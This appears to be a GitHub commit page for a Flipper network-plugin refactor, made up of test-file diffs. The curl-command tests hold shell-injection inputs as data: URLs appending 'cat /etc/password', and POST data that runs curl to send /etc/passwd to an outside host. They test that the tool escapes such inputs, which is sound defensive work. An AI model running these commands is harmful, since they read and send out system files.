Convert network plugin to Sandy
Summary: converted the network plugin to use DataSource / DataTable. Restructured the storage to contain a single flat normalised object that will be much more efficient for rendering / filtering (as columns currently don't support nested keys yet, and lazy columns are a lot less flexible) lint errors and further `flipper` package usages will be cleaned up in the next diff to make sure this diff doesn't become too large. The rest of the plugin is converted in the next diff Reviewed By: nikoant Differential Revision: D27938581 fbshipit-source-id: 2e0e2ba75ef13d88304c6566d4519b121daa215b
This commit is contained in:
committed by
Facebook GitHub Bot
parent
bef1885395
commit
23402dfff6
@@ -8,11 +8,10 @@
|
||||
*/
|
||||
|
||||
import {combineBase64Chunks} from '../chunks';
|
||||
import {TestUtils, createState} from 'flipper-plugin';
|
||||
import {TestUtils} from 'flipper-plugin';
|
||||
import * as NetworkPlugin from '../index';
|
||||
import {assembleChunksIfResponseIsComplete} from '../chunks';
|
||||
import path from 'path';
|
||||
import {PartialResponses, Response} from '../types';
|
||||
import {Base64} from 'js-base64';
|
||||
import * as fs from 'fs';
|
||||
import {promisify} from 'util';
|
||||
@@ -88,24 +87,53 @@ test('Reducer correctly adds followup chunk', () => {
|
||||
|
||||
test('Reducer correctly combines initial response and followup chunk', () => {
|
||||
const {instance, sendEvent} = TestUtils.startPlugin(NetworkPlugin);
|
||||
instance.partialResponses.set({
|
||||
'1': {
|
||||
followupChunks: {},
|
||||
initialResponse: {
|
||||
data: 'aGVs',
|
||||
headers: [],
|
||||
id: '1',
|
||||
insights: null,
|
||||
isMock: false,
|
||||
reason: 'nothing',
|
||||
status: 200,
|
||||
timestamp: 123,
|
||||
index: 0,
|
||||
totalChunks: 2,
|
||||
},
|
||||
},
|
||||
sendEvent('newRequest', {
|
||||
data: 'x',
|
||||
headers: [{key: 'y', value: 'z'}],
|
||||
id: '1',
|
||||
method: 'GET',
|
||||
timestamp: 0,
|
||||
url: 'http://test.com',
|
||||
});
|
||||
sendEvent('partialResponse', {
|
||||
data: 'aGVs',
|
||||
headers: [],
|
||||
id: '1',
|
||||
insights: null,
|
||||
isMock: false,
|
||||
reason: 'nothing',
|
||||
status: 200,
|
||||
timestamp: 123,
|
||||
index: 0,
|
||||
totalChunks: 2,
|
||||
});
|
||||
expect(instance.partialResponses.get()).toMatchInlineSnapshot(`
|
||||
Object {
|
||||
"1": Object {
|
||||
"followupChunks": Object {},
|
||||
"initialResponse": Object {
|
||||
"data": "aGVs",
|
||||
"headers": Array [],
|
||||
"id": "1",
|
||||
"index": 0,
|
||||
"insights": null,
|
||||
"isMock": false,
|
||||
"reason": "nothing",
|
||||
"status": 200,
|
||||
"timestamp": 123,
|
||||
"totalChunks": 2,
|
||||
},
|
||||
},
|
||||
}
|
||||
`);
|
||||
expect(instance.requests.records()[0]).toMatchObject({
|
||||
requestData: 'x',
|
||||
requestHeaders: [{key: 'y', value: 'z'}],
|
||||
id: '1',
|
||||
method: 'GET',
|
||||
url: 'http://test.com',
|
||||
domain: 'test.com/',
|
||||
});
|
||||
expect(instance.responses.get()).toEqual({});
|
||||
sendEvent('partialResponse', {
|
||||
id: '1',
|
||||
totalChunks: 2,
|
||||
@@ -114,20 +142,27 @@ test('Reducer correctly combines initial response and followup chunk', () => {
|
||||
});
|
||||
|
||||
expect(instance.partialResponses.get()).toEqual({});
|
||||
expect(instance.responses.get()['1']).toMatchInlineSnapshot(`
|
||||
Object {
|
||||
"data": "aGVsbG8=",
|
||||
"headers": Array [],
|
||||
"id": "1",
|
||||
"index": 0,
|
||||
"insights": null,
|
||||
"isMock": false,
|
||||
"reason": "nothing",
|
||||
"status": 200,
|
||||
"timestamp": 123,
|
||||
"totalChunks": 2,
|
||||
}
|
||||
`);
|
||||
expect(instance.requests.records()[0]).toMatchObject({
|
||||
domain: 'test.com/',
|
||||
duration: 123,
|
||||
id: '1',
|
||||
insights: undefined,
|
||||
method: 'GET',
|
||||
reason: 'nothing',
|
||||
requestData: 'x',
|
||||
requestHeaders: [
|
||||
{
|
||||
key: 'y',
|
||||
value: 'z',
|
||||
},
|
||||
],
|
||||
responseData: 'aGVsbG8=',
|
||||
responseHeaders: [],
|
||||
responseIsMock: false,
|
||||
responseLength: 5,
|
||||
status: 200,
|
||||
url: 'http://test.com',
|
||||
});
|
||||
});
|
||||
|
||||
async function readJsonFixture(filename: string) {
|
||||
@@ -138,38 +173,22 @@ async function readJsonFixture(filename: string) {
|
||||
|
||||
test('handle small binary payloads correctly', async () => {
|
||||
const input = await readJsonFixture('partial_failing_example.json');
|
||||
const partials = createState<PartialResponses>({
|
||||
test: input,
|
||||
});
|
||||
const responses = createState<Record<string, Response>>({});
|
||||
expect(() => {
|
||||
// this used to throw
|
||||
assembleChunksIfResponseIsComplete(partials, responses, 'test');
|
||||
assembleChunksIfResponseIsComplete(input);
|
||||
}).not.toThrow();
|
||||
});
|
||||
|
||||
test('handle non binary payloads correcty', async () => {
|
||||
const input = await readJsonFixture('partial_utf8_before.json');
|
||||
const partials = createState<PartialResponses>({
|
||||
test: input,
|
||||
});
|
||||
const responses = createState<Record<string, Response>>({});
|
||||
expect(() => {
|
||||
assembleChunksIfResponseIsComplete(partials, responses, 'test');
|
||||
}).not.toThrow();
|
||||
const expected = await readJsonFixture('partial_utf8_after.json');
|
||||
expect(responses.get()['test']).toEqual(expected);
|
||||
const response = assembleChunksIfResponseIsComplete(input);
|
||||
expect(response).toEqual(expected);
|
||||
});
|
||||
|
||||
test('handle binary payloads correcty', async () => {
|
||||
const input = await readJsonFixture('partial_binary_before.json');
|
||||
const partials = createState<PartialResponses>({
|
||||
test: input,
|
||||
});
|
||||
const responses = createState<Record<string, Response>>({});
|
||||
expect(() => {
|
||||
assembleChunksIfResponseIsComplete(partials, responses, 'test');
|
||||
}).not.toThrow();
|
||||
const expected = await readJsonFixture('partial_binary_after.json');
|
||||
expect(responses.get()['test']).toEqual(expected);
|
||||
const response = assembleChunksIfResponseIsComplete(input);
|
||||
expect(response).toEqual(expected);
|
||||
});
|
||||
|
||||
@@ -10,17 +10,17 @@
|
||||
import {readFile} from 'fs';
|
||||
import path from 'path';
|
||||
import {decodeBody} from '../utils';
|
||||
import {Response} from '../types';
|
||||
import {ResponseInfo} from '../types';
|
||||
import {promisify} from 'util';
|
||||
import {readFileSync} from 'fs';
|
||||
|
||||
async function createMockResponse(input: string): Promise<Response> {
|
||||
async function createMockResponse(input: string): Promise<ResponseInfo> {
|
||||
const inputData = await promisify(readFile)(
|
||||
path.join(__dirname, 'fixtures', input),
|
||||
'ascii',
|
||||
);
|
||||
const gzip = input.includes('gzip'); // if gzip in filename, assume it is a gzipped body
|
||||
const testResponse: Response = {
|
||||
const testResponse: ResponseInfo = {
|
||||
id: '0',
|
||||
timestamp: 0,
|
||||
status: 200,
|
||||
|
||||
@@ -8,16 +8,15 @@
|
||||
*/
|
||||
|
||||
import {convertRequestToCurlCommand} from '../utils';
|
||||
import {Request} from '../types';
|
||||
|
||||
test('convertRequestToCurlCommand: simple GET', () => {
|
||||
const request: Request = {
|
||||
const request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'GET',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: null,
|
||||
requestHeaders: [],
|
||||
requestData: undefined,
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
@@ -25,13 +24,13 @@ test('convertRequestToCurlCommand: simple GET', () => {
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: simple POST', () => {
|
||||
const request: Request = {
|
||||
const request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
requestHeaders: [],
|
||||
requestData: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
@@ -41,13 +40,13 @@ test('convertRequestToCurlCommand: simple POST', () => {
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
let request: Request = {
|
||||
let request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: "https://fbflipper.com/'; cat /etc/password",
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
requestHeaders: [],
|
||||
requestData: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
@@ -60,8 +59,8 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
requestHeaders: [],
|
||||
requestData: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
@@ -71,13 +70,13 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
let request: Request = {
|
||||
let request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: "https://fbflipper.com/'; cat /etc/password",
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
requestHeaders: [],
|
||||
requestData: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
@@ -90,8 +89,8 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/"; cat /etc/password',
|
||||
headers: [],
|
||||
data: btoa('some=data&other=param'),
|
||||
requestHeaders: [],
|
||||
requestData: btoa('some=data&other=param'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
@@ -101,13 +100,15 @@ test('convertRequestToCurlCommand: malicious POST URL', () => {
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: malicious POST data', () => {
|
||||
let request: Request = {
|
||||
let request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"'),
|
||||
requestHeaders: [],
|
||||
requestData: btoa(
|
||||
'some=\'; curl https://somewhere.net -d "$(cat /etc/passwd)"',
|
||||
),
|
||||
};
|
||||
|
||||
let command = convertRequestToCurlCommand(request);
|
||||
@@ -120,8 +121,8 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
|
||||
timestamp: 1234567890,
|
||||
method: 'POST',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=!!'),
|
||||
requestHeaders: [],
|
||||
requestData: btoa('some=!!'),
|
||||
};
|
||||
|
||||
command = convertRequestToCurlCommand(request);
|
||||
@@ -131,13 +132,13 @@ test('convertRequestToCurlCommand: malicious POST data', () => {
|
||||
});
|
||||
|
||||
test('convertRequestToCurlCommand: control characters', () => {
|
||||
const request: Request = {
|
||||
const request = {
|
||||
id: 'request id',
|
||||
timestamp: 1234567890,
|
||||
method: 'GET',
|
||||
url: 'https://fbflipper.com/',
|
||||
headers: [],
|
||||
data: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
|
||||
requestHeaders: [],
|
||||
requestData: btoa('some=\u0007 \u0009 \u000C \u001B&other=param'),
|
||||
};
|
||||
|
||||
const command = convertRequestToCurlCommand(request);
|
||||
|
||||
Reference in New Issue
Block a user